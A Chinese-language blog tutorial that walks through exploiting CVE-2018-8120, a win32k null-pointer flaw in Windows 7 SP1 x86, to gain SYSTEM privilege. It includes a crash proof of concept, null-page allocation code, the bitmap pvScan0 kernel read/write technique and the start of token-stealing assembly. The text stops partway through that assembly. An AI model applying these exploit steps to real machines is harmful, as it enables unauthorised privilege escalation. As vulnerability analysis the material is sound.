标签：dfs handles modules 工作 parent rda ffd 超过 stdcall
目录
? 我想使我编写的一个普通的R3的程序一运行就获得SYSTEM最高权限。一个常用的办法是: 替换当前进程_EPROCESS结构的Token成员的值为system进程的_EPROESS的Token成员值。一旦替换成功，那么从替换成功的那一刻开始一直到程序退出这段时间里，程序所做的一切操作都是以SYSTEM最高权限执行的。
? 但是，要完成这项工作在R3层面上直接上shellcode是不行的，因为所有进程的EPROCESS结构都是位于内核空间中的，如果要对其进行读写则代码必须运行在内核空间中才行，用户空间中的代码如果对其进行读写则会产生保护性异常。
? 所以问题就来了，怎样让我们的替换Token的shellcode(这段shellcode是怎么写的在后面会有详细解释)运行在内核空间中呢？
? 虽然用户程序不能直接访问内核空间，但是用户程序可以通过调用系统服务来间接访问系统空间中的数据或间接调用执行系统空间中的代码。当调用系统服务时，调用线程会从用户模式切换到内核模式，调用结束后再返回到用户模式，也就是所谓的模式切换，有时也被称为上下文切换(Context Switch)。模式切换是通过软中断或专门的快速系统调用(Fast System Call)指令来实现。
? 下面我来简要介绍下Windows 7 X86 sp1 是如何通过SYSENTER指令实现快速系统调用的。举一个简单的例子。调用ReadFile()这个函数的流程为下图所示:
? 在windows 7 sp1 x86中使用微软的亲儿子WINDBG(本地内核调试模式,具体设置百度，PS:设置完后需使用管理员权限启动WINDBG否则使用BCDEDIT设置重启后依然不能启用本地内核调试模式)查看NTDLL.DLL中导出的NtReadFile()函数的反汇编：
lkd> uf ntdll!NtReadFile
ntdll!ZwReadFile:
775762b8 b811010000 mov eax,111h ;NtReadFile的系统服务号码为 0x111
775762bd ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300)
775762c2 ff12 call dword ptr [edx]
775762c4 c22400 ret 24h那么当第二句 mov edx,offset SharedUserData!SystemCallStub 执行后，edx 值为0x7ffe0300。因为第三句是 call dword ptr [edx] 所以继续查看地址SharedUserData!SystemCallStub 处的值
lkd> dd SharedUserData!SystemCallStub
7ffe0300 775770b0 775770b4 00000000 00000000? 继续执行call dword ptr [edx] 则跳转到地址0x775770b0处执行，继续使用神器反汇编
lkd> uf 775770b0
ntdll!KiFastSystemCall:
775770b0 8bd4 mov edx,esp
775770b2 0f34 sysenter
775770b4 c3 ret? 当执行sysenter指令后，进入内核模式,调用KisystemService()函数，该函数会根据服务ID从系统服务分发表(System Service Dispatch Table)中找到要调用的服务函数的函数地址和参数描述，然后调用内核中正真的NtReadFile()函数。那个服务ID就是进入SharedUserData!SystemCallStub之前那个mov eax,111h的111h。
? 再windows NT系列操作系统中，有两种类型的系统服务，一种是实现在内核文件中，是常用的系统服务。另一种实现在win32k.sys中，是一些与图形显示及用户界面相关的系统服务。这些系统服务在系统运行期间常驻于系统内存区中，并且他们的入口地址保存在两个系统服务地址表KiServiceTable和Win32pServiceTable中.所有的系统服务地址表都保存在系统服务描述表(SDT)中。
? 目前windows系统共有两个SDT,一个是ServiceDescriptorTable(SSDT),另一个是ServiceDescriptorTableShadow(SSDTShadow).
? 其中ServiceDescriptorTable中只包含KiServiceTable，而ServiceDescriptorTableShadow中既包含KiServiceTable又包含Win32pServiceTbale.其中SSDT是可以访问的而SSDTShadow是不公开的。
? 使用windbg查看SSDT和SSDTShadow如下:
lkd> dd nt!KeServiceDescriptorTable
83fad9c0 83ec1d9c 00000000 00000191 83ec23e4
83fad9d0 00000000 00000000 00000000 00000000 //SSDT中该项为空
lkd> dd nt!KeServiceDescriptorTableShadow
83fada00 83ec1d9c 00000000 00000191 83ec23e4
83fada10 955b6000 00000000 00000339 955b702c //SSDTShadow中该项不为空
SDT的表项中成员按以下数据结构组成:
typedef struct _KSYSTEM_SERVICE_TABLE
{
PULONG ServiceTableBase; // 0x00 系统服务地址表地址
PULONG ServiceCounterTableBase; // 0x04
PULONG NumberOfService; // 0x08 服务函数的个数
ULONG ParamTableBase; // 0x0c 该系统服务的参数表
} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE; //sizeof=0x10
那么根据SSDTShadow可以得到KiServiceTable的地址为0x83ec1d9c,包含0x191个服务函数;
可以得到Win32pServiceTable的地址为0x955b6000,包含0x339个服务函数。? 这时我们去看看Win32pServiceTable处的东西吧!
lkd> dds 955b6000
955b6000 95543d37 win32k!NtGdiAbortDoc
955b6004 9555bc23 win32k!NtGdiAbortPath
955b6008 953b71ac win32k!NtGdiAddFontResourceW
955b600c 95552c5d win32k!NtGdiAddRemoteFontToDC
955b6010 9555d369 win32k!NtGdiAddFontMemResourceEx
955b6014 95544554 win32k!NtGdiRemoveMergeFont
955b6018 955445e8 win32k!NtGdiAddRemoteMMInstanceToDC
955b601c 9546dad1 win32k!NtGdiAlphaBlend
955b6020 9555cb94 win32k!NtGdiAngleArc
955b6024 95421965 win32k!NtGdiAnyLinkedFonts
955b6028 95421882 win32k!NtGdiFontIsLinked
955b602c 9555eead win32k!NtGdiArcInternal
955b6030 9555d085 win32k!NtGdiBeginGdiRendering
955b6034 9555bc97 win32k!NtGdiBeginPath
955b6038 954628cb win32k!NtGdiBitBlt? 可以发现它的每一个成员都是一个四字节的服务函数指针!如果把这里面某个函数指针改为我们shellcode的地址，再在用户层调用它的R3对应函数，那么不就让我们的shellcode在高权限执行了吗？但是，我们需要一个更好的目标，它在我们程序的运行阶段不会被其他任何进程调用。(因为又不是你一个程序在调系统服务函数，如果其他程序调用了你改了函数指针指向的函数，就会有不可预料的事情发生，比如BOSD).
? 另一个很好的表是硬件抽象层(HAL)调度表nt!HalDispatchTable。这里也存储了系统调用地址，不过是HAL例程的地址。用温帝霸查看如下所示:
lkd> dds nt!HalDispatchTable
83f6e3f8 00000004
83f6e3fc 83e338a2 hal!HaliQuerySystemInformation
83f6e400 83e341b4 hal!HalpSetSystemInformation? 注意到nt!HalDispatchTable+4那个地址指向的函数了吗？这个函数就是我们要覆盖为shellcode地址的最佳选择。因为有一个名为NtQueryIntervalProfile的未记录函数，它获取当前为给定配置文件源设置的配置文件间隔。该函数可以通过调用GetProcAddress从NTDLL.DLL中获取地址，在userland调用。该函数在内部调用KeQueryIntervalProfile函数 :
kd> u nt!NtQueryIntervalProfile + 0x62
nt!NtQueryIntervalProfile+0x62:
8414fecd 7507 jne nt!NtQueryIntervalProfile+0x6b (8414fed6)
8414fecf a1acdbf683 mov eax,dword ptr [nt!KiProfileInterval (83f6dbac)]
8414fed4 eb05 jmp nt!NtQueryIntervalProfile+0x70 (8414fedb)
8414fed6 e83ae5fbff call nt!KeQueryIntervalProfile (8410e415);调用KeQueryIntervalProfile
8414fedb 84db test bl,bl
8414fedd 741b je nt!NtQueryIntervalProfile+0x8f (8414fefa)
8414fedf c745fc01000000 mov dword ptr [ebp-4],1
8414fee6 8906 mov dword ptr [esi],eax
//本地u好像权限不够，双机调u成功? 继续反汇编nt!KeQueryInterValProfile
kd> u nt!KeQueryIntervalProfile+0x23
nt!KeQueryIntervalProfile+0x23:
8410e438 ff15fce3f683 call dword ptr [nt!HalDispatchTable+0x4 (83f6e3fc)]
8410e43e 85c0 test eax,eax
8410e440 7c0b jl nt!KeQueryIntervalProfile+0x38 (8410e44d)
8410e442 807df400 cmp byte ptr [ebp-0Ch],0
8410e446 7405 je nt!KeQueryIntervalProfile+0x38 (8410e44d)
8410e448 8b45f8 mov eax,dword ptr [ebp-8]
8410e44b c9 leave
8410e44c c3 ret? 发现了吗？nt!HalDispatchTable+0x4不就是hal!HaliQuerySystemInformation吗？所以我们可以用userland中的令牌(Token)窃取shellcode的地址覆盖这个指针，那么一旦我们调用NtQueryIntervalProfile函数的时候，就会在内核中运行我们的shellcode啦！！！
? 但是绕来绕去，我们还是没有办法在R3直接修改内核空间中的内存。。。:slightly_smiling_face:
? 这里有一个非常强的方法来实现任意内存读写，那就是利用Bitmap内核对象中的pvScan0字段。系统API的GetBitmapBits和SetBitmapBits可以读写pvScan0所指向内存地址的内容。具体细节在下文中有。
? 如果这个pvScan0指向nt!HalDispatchTable+0x4,那么我们就可以先用GetBitMap()把原本的HaliQuerySystemInforMation函数地址保存起来，再用SetBitMap()函数将其改为shellcode的地址，那么这个时候调用NtQueryIntervalProfile就在内核中执行了我们的shellcode，shellcode执行完之后再用SetBitMap()将刚刚保存的原地址改回去就行了。
? 但是......又怎么在userland改pvScan0的值啊，这时就要利用CVE-2018-8120这个漏洞了。下面开始进入正题。
? 首先，在VM中装好windows 7 sp1 x86版本，使其断开网络连接，防止系统自动安装补丁。将位于C:\Windows\System32\目录下的win32k.sys文件拿到IDA中F5分析(就只会IDA的F5的小白一只)。在函数窗口查找到SetImeInfoEx()函数，双击之后按F5得到
signed int __stdcall SetImeInfoEx(signed int a1, _DWORD *a2)
{
signed int result; // eax
_DWORD *v3; // eax
_DWORD *v4; // eax
result = a1;
if ( a1 )
{
v3 = *(_DWORD **)(a1 + 20);
while ( v3[5] != *a2 )
{
v3 = (_DWORD *)v3[2];
if ( v3 == *(_DWORD **)(a1 + 20) )
return 0;
}
v4 = (_DWORD *)v3[11];
if ( !v4 )
return 0;
if ( !v4[18] )
qmemcpy(v4, a2, 0x15Cu);
result = 1;
}
return result;
}? 先啥都不看，看到qmemcpy(v4,a2,348u)没得？假如我们可以指定v4的值和a2的值不就可以实现任意内存拷贝了吗？只不过是将a2指向的348个字节拷贝到v4指向的内存，拷贝得好像有点多。不管不管，先看看能不能控制a2和v4。
? 假如能够执行到qmemcpy() , 由a4等于v3[11],v3的值与a1得值有关，所以需要知道a1和a2到底是啥子东西。因为win32k.sys并没有导出SetImeInfoEx ,那就看看是win32k.sys中的哪个函数调了SetImeInfoEx,切换回这个函数的文本视图(IDA View1)，点击view->open subviews->function calls 查看调用关系。如下图所示：
? 就只有NtUserSetImeInfoEx 是Caller。F5查看NtUserSetImeInfoEx的代码：v6是NtUserSetImeInfoEx的参数参数类型为tagIMEINFOEX ，v4是通过_GetProcessWindowStation得到的返回值，其类型为tagWINDOWSTATION 。
//调用处关键代码
v4 = _GetProcessWindowStation(0);
v1 = SetImeInfoEx(v4, &v6);? 所以由此可得：
0 signed int __stdcall SetImeInfoEx(tagWINDOWSTATION* a1, tagIMEINFOEX *a2)
1 {
2 signed int result; // eax
3 tagKL *v3; // eax
4 tagIMEINFOEX *v4; // eax
5
6 result = a1;
7 if ( a1 )
8 {
9 v3 = a1->spkList; // 如果spkList为NULL,则下面使用v3访问的时候将触发访问异常
10 while ( v3->hkl != a2->hkl )
11 {
12 v3 = v3->pklNext;
13 if ( v3 == a1->spkList )
14 return 0;
15 }
16 v4 = v3->piiex;
17 if ( !v4 )
18 return 0;
19 if ( !v4->fLoadFlag)
20 qmemcpy(v4, a2, 0x15Cu); //sizeof(tagIMEINFOEX)=0x15c
21 result = 1;
22 }
23 return result;
24}? 下面开始分析代码：
v3 = a1->spkList 如果a1->spkList的值为0，那么v3也就为0了，那么执行while(v3->hkl != a2->hkl)的时候，就会访问虚拟地址为0的地址空间，而这一区域是空指针赋值分区(x86 32位下范围为:0x00000000-0x0000FFFF),对这一分区进行读取或写入会引发访问违规。如果是r3对这一分区进行读写，则会弹出一个消息提示框提示程序错误。如果是r0对这一分区进行读写，则会直接触发蓝屏。“3.2、验证漏洞POC”中对这一点进行了实验，请跳过去阅读。? win32k.sys中的NtUserSetImeInfoEx是用于将用户进程定义的输入法扩展信息对象设置在与当前进程关联的窗口站中。
? 窗口站tagWINDOWSTATION结构体定义如下:
win32k!tagWINDOWSTATION
+0x000 dwSessionId : Uint4B
+0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION
+0x008 rpdeskList : Ptr32 tagDESKTOP
+0x00c pTerm : Ptr32 tagTERMINAL
+0x010 dwWSF_Flags : Uint4B
+0x014 spklList : Ptr32 tagKL
+0x018 ptiClipLock : Ptr32 tagTHREADINFO
+0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
+0x020 spwndClipOpen : Ptr32 tagWND
+0x024 spwndClipViewer : Ptr32 tagWND
+0x028 spwndClipOwner : Ptr32 tagWND
+0x02c pClipBase : Ptr32 tagCLIP
+0x030 cNumClipFormats : Uint4B
+0x034 iClipSerialNumber : Uint4B
+0x038 iClipSequenceNumber : Uint4B
+0x03c spwndClipboardListener : Ptr32 tagWND
+0x040 pGlobalAtomTable : Ptr32 Void
+0x044 luidEndSession : _LUID
+0x04c luidUser : _LUID
+0x054 psidUser : Ptr32 Void? R3中可以通过系统提供的接口CreateWindowStation()和SetProcessWindowStation(),新建一个新的WindowStation对象并和当前进程关联起来，值得注意的是，使用CreateWindowStation() 新建的WindowStation对象其偏移0×14位置的spklList字段的值默认是零。那么 根据SetImeInfoEx()函数的流程，当WindowStation->spklList字段为0，函数继续执行将触发0地址访问异常。
? 使用以下代码创建一个WindowStation
#include <Windows.h>
#include <stdio.h>
int main()
{
HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0);
printf("handle:0x%X\n", hSta);
system("pause");
return 0;
}? 在windows 7 sp1 x86中运行得到如下结果：(每次可能不同)
? 使用PCHUNTER查看其进程句柄如下图：找到句柄值为0x3c得哪一行得到内核中tagWINDOWSTATION 的地址为:0x86c12960
? 使用windbg本地内核调试模式，先切换使用!process 0 0查找到程序的PROCESS值，再使用.process 值切换当前implicit process.就可以查看WindowStation->spklList字段的值了。结果的确为null(0)。
lkd> dt tagWINDOWSTATION 0x86c12960
win32k!tagWINDOWSTATION
+0x000 dwSessionId : 1
+0x004 rpwinstaNext : (null)
+0x008 rpdeskList : (null)
+0x00c pTerm : 0x955ceb80 tagTERMINAL
+0x010 dwWSF_Flags : 4
+0x014 spklList : (null) //该字段为零
+0x018 ptiClipLock : (null)
....? 那么如果继续使用SetProcessWindowStation()将刚刚创建的窗口站(spkList字段为0)与当前程序绑定，那么
win32k!NtUserSetImeInfoEx()系统服务函数 中调用_GetProcessWindowStation()返回的就是spkList字段为零的窗口站内核对象, 也就是SetImeInfoEx()的第一个参数!!!!!! 那么就会触发蓝屏。
? 通过以上的分析，那么下一步就是要调用win32k!NtUserSetImeInfoEx()系统服务函数了，NtUserSetImeInfoEx()系统服务函数未导出，需要自己在用户进程中调用该系统服务函数，以执行漏洞函数SetImeInfoEx() 。我们使用调用UserSharedData!SystemCallStub(因为是固定内存区，所以这个值windows 7 sp1 x86中是不变的)。在2.2.1中我介绍了调用系统服务函数的方法，sysenter是根据EAX寄存器中的系统服务号来查找调用系统服务函数的，那么下面我们来获取这个函数的系统服务号，因为是win32k,所以该函数位于SSDTShadow中。在windows 7 sp1 x86中运行PCHUNTER，查看内核钩子->ShadowSSDT获取序号
那么NtUserSetImeInfoEx的系统服务号 = 0x1000+0x226(556的16进制) = 0x1226 ,你可能会奇怪为什么要加0x1000这个值，其实当初我看到这个算式的时候也是一脸懵逼，于是我就双机调试了整个sysenter过程，总算明白了为什么是加0x1000。下面贴出关键汇编代码
lkd> u nt!KiFastCallEntry+0x8f L10
nt!KiFastCallEntry+0x8f:
83e8114f 8bf8 mov edi,eax //eax中是系统服务号
83e81151 c1ef08 shr edi,8
83e81154 83e710 and edi,10h
83e81157 8bcf mov ecx,edi
83e81159 03bebc000000 add edi,dword ptr [esi+0BCh] //第二个操作数是SSDTShadow的地址
83e8115f 8bd8 mov ebx,eax
83e81161 25ff0f0000 and eax,0FFFh //取序号
83e81166 3b4708 cmp eax,dword ptr [edi+8] //判断序号是否超过了该表服务函数总数
83e81169 0f8333fdffff jae nt!KiBBTUnexpectedRange (83e80ea2) //大于等于则退出并报错? 关键就在于shr和and这两句，如果这样还不清楚的话就举个例子吧。假如eax为0x1126
mov edi,eax edi=0x00001126 ,eax=0x00001126
shr edi,8 导致 edi=0x00000011
and edi,10h edi=0x10
add edi,SSDTShadow的地址 还记得2.2.2节中介绍SSDTShadow说的吗？SSDTShadow中的表项中成员按以下数据结构组成:
typedef struct _KSYSTEM_SERVICE_TABLE
{
PULONG ServiceTableBase; // 0x00 系统服务地址表地址
PULONG ServiceCounterTableBase; // 0x04
PULONG NumberOfService; // 0x08 服务函数的个数
ULONG ParamTableBase; // 0x0c 该系统服务的参数表
} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE; //sizeof=0x10
SSDTShadow的第一个表项是KiServiceTable(SSDTShadow首地址+0),第二个表项是win32k.sys的win32pServiceTable!(SSDTShadow首地址+0x10),这个0x10不就是sizeof(KSYSTEM_SERVICE_TABLE)吗？
所以如果是调第一个表项中的系统服务函数，那么系统服务号 = 0x0000+ 序号,如果是调用第二个表项中的系统服务函数就是 系统服务号 = 0x1000+ 序号。那个1其实就是表示的是SSDTShadow中第几个表项。
? 好了，最后要获取的东西就是位于固定内存的UserSharedData!SystemCallSutb
lkd> dd SystemCallStub
7ffe0300 777370b0 777370b4 00000000 00000000? 得到这个值为0x7ffe0300(这个不变),它所指向地址中的值为0x777370b0(这个可能会变)就为KiFastSystemCall的地址。
lkd> u 777370b0
ntdll!KiFastSystemCall:
777370b0 8bd4 mov edx,esp
777370b2 0f34 sysenter
777370b4 c3 ret? 所以我们的验证POC代码如下:
#include <Windows.h>
#include <stdio.h>
__declspec(naked) NTSTATUS NTAPI NtSetUserImeInfoEx(PVOID imeinfoex)
{
__asm {
mov eax, 0x1226
mov edx, 0x7ffe0300
call dword ptr[edx]
ret 0x04
}
}
int main()
{
HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0);
SetProcessWindowStation(hSta);
char ime[0x800];
NtSetUserImeInfoEx((PVOID)&ime);
return 0;
}? 编译运行，果然蓝屏了。附上截图，好开心啊。
? 在32位windows 7系统中，可以用的虚拟地址空间位4GB,其中地址范围为:0x00000000~0x0000FFFF的区域被称为空指针赋值分区，保留该分区的目的是为了帮助程序员捕获对空指针的赋值。如果进程中的线程试图读取或写入位于这一分区内的内存地址，就会引发访问违规。
? 《Windows核心编程第五版》第13章Windows内存体系结构中在介绍空指针赋值分区时有这样一句话：
值得注意的是，没有任何办法可以让我们分配到位于这一地址区间的虚拟内存，即便是使用Win32应用程序编程接口也不例外。
? 哦？是吗？那我就在windows 7 sp1 x86上运行一下下面这段代码生成的程序试试：
#include<Windows.h>
#include<stdio.h>
typedef
NTSYSAPI
NTSTATUS
(NTAPI *_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
void TestNullPageAlloc()
{
HMODULE hntdll = GetModuleHandle("ntdll");
_NtAllocateVirtualMemory NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
PVOID addr = (PVOID)0x100;
DWORD size = 0x1000;
NtAllocateVirtualMemory(GetCurrentProcess(), &addr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
DWORD * p = NULL;
*p = 6;
printf("p=%p *p=%d\n",p, *p);
system("pause");
}
int main()
{
TestNullPageAlloc();
return 0;
}? 附上运行截图：
? 使用PCHUNTER查看该程序内存表：
? 注意到了吗？分配成功了。这是利用的ZwAllocateVirtualMemory这个函数。该函数在指定进程的虚拟空间中申请一块内存，该块内存默认将以64kb大小对齐，页面大小为4kb。 下面来解释了为啥上图中是0x0000~0x1FFF(不包括0x2000,因为大小是0x2000)。
? 由BaseAddress=0x100，申请大小为0x1000可知我们需要的分配地址空间范围为：0x100~0x1100-0x1。因为分配内存块的起始地址必须为64kb的整数倍，所以系统决定起始地址为0x00000000,又因为分配的基本单位页面大小为4kb，所以0x1000~0x2000-0x01这一段也会被分配。所以实际分配的地址范围就为0x00000000~0x00001FFF。
? zwAllocateVirtualMemory函数，微软没有给出公开的文档，但是可以通过相关资料或是逆向来了解该函数的使用方式。
NTSYSAPI NTSTATUS NTAPI ZwAllocateVirtualMemory (
IN HANDLE ProcessHandle,
IN OUT PVOID BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);? 注：若指定BaseAddress为0则系统会寻找第一个未使用的内存块来分配，而不是在零页内存中分配。 所以需要利用对齐粒度和页面大小来做骚操作。
? 所以：**如果我们成功申请了内存，使其可写可读，那么我们刚刚利用SetImeInfoEx函数中的蓝屏触发POC就不会蓝屏了，因为空指针指向的地方是可以读写的了。而且你注意到了吗？我们成功申请的空指针内存区是可以在R3操作的，不信看这一节开头的那个验证程序:DWORD* p=NULL;*p=6;**
? 所以SetImeInfoEx函数的第一个参数的spklList成员所指向的值，我们可以直接在R3进行操作了。
? 当创建一个bitmap时，一个结构被附加到了进程PEB的GdiSharedHandleTable成员中。 GdiSharedHandleTable是一个GDICELL结构体数组的指针 :
typedef struct
{
LPVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
LPVOID pUserAddress;
} GDICELL; //sizeof = 0x10? 我们可以用以下方式找到Bitmap的内核地址
addr = PEB.GdiSharedHandleTable + (handle &0xffff) *sizeof(GDICELL) ;取序号*大小获得偏移? 下面编写代码创建一个Bitmap对象，并打印内核句柄对象，然后使用工具找到这这个对象，使用上面的公式进行验证。
#include<Windows.h>
#include<stdio.h>
void TestCreateBitmap()
{
PVOID buf = malloc(0x64 * 0x64 * 4);
HANDLE handle = CreateBitmap(0x64, 0x64, 1, 32, buf);
printf("handle=0x%X\n", handle);
system("pause");
}
int main()
{
TestCreateBitmap();
return 0;
}?将其放入windows 7 sp1 x86中运行结果如下:
使用ProcessHacker查看验证程序的GDI句柄表
打开windbg双机调试，先切换进程，进行如下操作:发现确实和使用工具查出的地址一样：0xfe64c000
kd> !process 0 0 Test.exe
PROCESS 86fc2c20 SessionId: 1 Cid: 0e84 Peb: 7ffd4000 ParentCid: 0504
DirBase: 7f2d0440 ObjectTable: a4843218 HandleCount: 18.
Image: Test.exe
kd> .process 86fc2c20
Implicit process is now 86fc2c20
WARNING: .cache forcedecodeuser is not enabled
kd> dt _PEB GdiSharedHandleTable 7ffd4000
nt!_PEB
+0x094 GdiSharedHandleTable : 0x00670000 Void
kd> dd 0x00670000 + (0xB0050462 &0xffff)*0x10 l1
00674620 fe64c000? 至此，Bitmap的内核地址有了，那么该怎么用呢？GDICELL结构的pKernelAddress成员指向BASEOBJECT结构，在这个BASEOBJECT结构后面的紧跟那个结构才是关键所在。如果是位图那么这个结构为下面的SURFOBJ结构。
typedef struct _BASEOBJECT //<[偏移,大小] 连续序号(表示BASEOBJECT后跟的就是位图_SURFOBJ)
HANDLE hHmgr; //<[00,04] 00
PVOID pEntry; //<[04,04] 01
LONG cExclusiveLock; //<[08,04] 02
ULONG Tid; //<[0c,04] 03
} BASEOBJECT, *POBJ; //sizeof=0x10
typedef struct _SURFOBJ {
DHSURF dhsurf; //<[00,04] 04
HSURF hsurf; //<[04,04] 05
DHPDEV dhpdev; //<[08,04] 06
HDEV hdev; //<[0C,04] 07
SIZEL sizlBitmap; //<[10,08] 08 09
ULONG cjBits; //<[18,04] 0A
PVOID pvBits; //<[1C,04] 0B
PVOID pvScan0; //<[20,04] 0C
LONG lDelta; //<[24,04] 0D
ULONG iUniq; //<[28,04] 0E
ULONG iBitmapFormat; //<[2C,04] 0F
USHORT iType; //<[30,02] 10
USHORT fjBitmap; //<[32,02] xx
} SURFOBJ;
typedef struct tagSIZEL {
LONG cx;
LONG cy;
} SIZEL, *PSIZEL;? pvScan0 成员就是我们需要利用的，因为GetBitmapBits 和 SetBitmapBits 这两个API能操作这个成员。GetBitmapBits 允许我们在 pvScan0 地址上读任意字节，SetBitmapBits 允许我们在 pvScan0 地址上写任意字节。如果我们有一个漏洞(例如：CVE-2018-8120)可以修改一次内核地址, 把 pvScan0 改成我们想要操作的内核地址，这样是不是就实现了可以重复利用的内核任意读写呢？
?
//分配零页内存
HMODULE hntdll = GetModuleHandle("ntdll");
_NtAllocateVirtualMemory NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
PVOID addr = (PVOID)0x100;
DWORD size = 0x10;
NtAllocateVirtualMemory(GetCurrentProcess(), &addr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
//创建窗口站
HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0);
//设置窗口站
SetProcessWindowStation(hSta);? 首先来点基础知识：每个进程都在内核中都会有且仅有一个EPROCESS结构。该结构几乎包括了进程所有关键信息和重要资产。其中EPROCESS结构中的Token字段记录着这个进程的TOKEN结构的地址，进程的很多与安全相关的信息是记录在这个TOKEN结构中的。所以如果我们想获得SYSTEM权限，就可以将拥有SYSTEM权限进程的Token字段的值找到，并赋值给我们创建程序进程的EPROCESS的Token字段。就可以完成提权了。
? 所以我们在内核空间执行的shellcode的第一步 是找到拥有SYSTEM权限的进程的EPROCESS结构地址，拥有SYSTEM权限的进程就是System进程(该PID固定为4)。第二步就是将它的Token字段赋值给我们程序EPROCESS的Token。
? 那么如何在内核空间中找到System进程的EPROCESS呢？那么我们先找到自己进程的EPROCESS结构。在R0中，fs寄存器指向一个叫KPCR的数据结构：
lkd> dt _KPCR -r1
nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 Used_StackBase : Ptr32 Void
+0x008 Spare2 : Ptr32 Void
+0x00c TssCopy : Ptr32 Void
+0x010 ContextSwitches : Uint4B
+0x014 SetMemberCopy : Uint4B
+0x018 Used_Self : Ptr32 Void
+0x01c SelfPcr : Ptr32 _KPCR
+0x020 Prcb : Ptr32 _KPRCB
+0x024 Irql : UChar
+0x028 IRR : Uint4B
+0x02c IrrActive : Uint4B
+0x030 IDR : Uint4B
+0x034 KdVersionBlock : Ptr32 Void
+0x038 IDT : Ptr32 _KIDTENTRY
+0x03c GDT : Ptr32 _KGDTENTRY
+0x040 TSS : Ptr32 _KTSS
+0x044 MajorVersion : Uint2B
+0x046 MinorVersion : Uint2B
+0x048 SetMember : Uint4B
+0x04c StallScaleFactor : Uint4B
+0x050 SpareUnused : UChar
+0x051 Number : UChar
+0x052 Spare0 : UChar
+0x053 SecondLevelCacheAssociativity : UChar
+0x054 VdmAlert : Uint4B
+0x058 KernelReserved : [14] Uint4B
+0x090 SecondLevelCacheSize : Uint4B
+0x094 HalReserved : [16] Uint4B
+0x0d4 InterruptMode : Uint4B
+0x0d8 Spare1 : UChar
+0x0dc KernelReserved2 : [17] Uint4B
+0x120 PrcbData : _KPRCB? 注意它的最后一个成员PrcbData，它的类型是_KPRCB。使用windbg查看：
lkd> dt _KPRCB
nt!_KPRCB
+0x000 MinorVersion : Uint2B
+0x002 MajorVersion : Uint2B
+0x004 CurrentThread : Ptr32 _KTHREAD //指向当前线程_KTHREAD结构的指针。
+0x008 NextThread : Ptr32 _KTHREAD
+0x00c IdleThread : Ptr32 _KTHREAD
.....? 也就说fs:[124]其实是指向当前线程的_KTHREAD ,下面继续查看 _KTHREAD结构：
lkd> dt _KTHREAD -r1
nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
....
+0x03c MiscFlags : Int4B
+0x040 ApcState : _KAPC_STATE
+0x000 ApcListHead : [2] _LIST_ENTRY
+0x010 Process : Ptr32 _KPROCESS//指向当前进程EPROCESS结构
+0x014 KernelApcInProgress : UChar
+0x015 KernelApcPending : UChar
+0x016 UserApcPending : UChar
+0x040 ApcStateFill : [23] UChar
+0x057 Priority : Char
+0x058 NextProcessor : Uint4B
? 额，你可能要问_KTHREAD.ApcState.Process不是指向的是 _KPROCESS的指针吗？难道EPROCESS和KPROCESS一样? 肯定不一样啊，但是你看看 EPROCESS的组成就清楚了。
lkd> dt _EPROCESS
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
+0x0a8 ExitTime : _LARGE_INTEGER
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x0c0 ProcessQuotaUsage : [2] Uint4B
+0x0c8 ProcessQuotaPeak : [2] Uint4B
+0x0d0 CommitCharge : Uint4B
+0x0d4 QuotaBlock : Ptr32 _EPROCESS_Q? 注意到没，EPROCESS的第一个成员不就是_KPROCESS吗？所以_KTHREAD.ApcState.Process其实指向的是EPROCESS,取它地址的值就是_KPROCESS的指针。
? 所以我们获取当前进程EPROCESS的汇编代码可以写成：
mov edx, 0x124;
mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread
mov edx, 0x50;
mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process
mov ecx, eax;// Copy current _EPROCESS structure? 你可能又要问了，你怎么晓得该这样做？答案是：你可以去反汇编一下这个函数就晓得了：
lkd> u nt!PsGetCurrentProcess
nt!PsGetCurrentProcess:
83ecdb60 64a124010000 mov eax,dword ptr fs:[00000124h]
83ecdb66 8b4050 mov eax,dword ptr [eax+50h]
83ecdb69 c3 ret
调用这个函数可以得到当前进程的EPROCESS结构。? 好了，现在我们已经获得了我们自身进程的EPROCESS结构了，但是我们第一步需要做的是 获得System进程的EPROCESS啊。获得自己的EPROCESS有啥子用呢？不用急，请看EPROCESS的ActiveProcessLinks成员，它是一个_LIST_ENTRY结构。让我们展开看看
lkd> dt _EPROCESS -r1
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
.....
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY //指向前一个进程的EPROCESS.ActiveProcessLinks.Flink
+0x004 Blink : Ptr32 _LIST_ENTRY //指向后一个进程的EPROCESS.ActiveProcessLinks.Flink
+0x0c0 ProcessQuotaUsage : [2] Uint4B
